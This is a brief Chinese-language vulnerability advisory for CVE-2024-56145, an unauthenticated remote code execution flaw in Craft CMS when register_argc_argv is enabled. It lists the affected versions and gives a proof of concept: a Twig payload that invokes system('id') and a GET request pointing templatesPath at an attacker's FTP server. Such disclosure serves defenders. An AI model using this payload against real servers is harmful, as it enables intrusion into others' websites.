0x00 前言
0x01 漏洞描述
如果受影响版本的Craft CMS用户的php.ini配置文件中启用了"register_argc_argv",未授权攻击者可以利用漏洞执行任意代码。
0x02 CVE编号
CVE-2024-56145
0x03 影响版本
5.0.0-RC1 ≤ Craft CMS < 5.5.2
4.0.0-RC1 ≤ Craft CMS < 4.13.2
3.0.0 ≤ Craft CMS < 3.9.14
0x04 漏洞详情
利用条件:
1. 创建允许匿名访问的FTP服务器,写入default/index.twig使网站可以访问
2. index.twig文件内容是:{{ ['system', 'id'] | sort('call_user_func') }}
3. php.ini配置启用了“register_argc_argv”
GET /?--templatesPath=ftp://a:a@xx.xx.xx:2121/ HTTP/1.1
Host: localhost:8000
...
HTTP/1.1 200 OK
Server: nginx
Date: Tue, 19 Nov 2024 00:10:50 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: Craft CMS
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Referrer-Policy: no-referrer-when-downgrade
Content-Length: 15
0x05 参考链接
https://github.com/Chocapikk/CVE-2024-56145
https://github.com/craftcms/cms/security/advisories/GHSA-2p6p-9rc9-62j9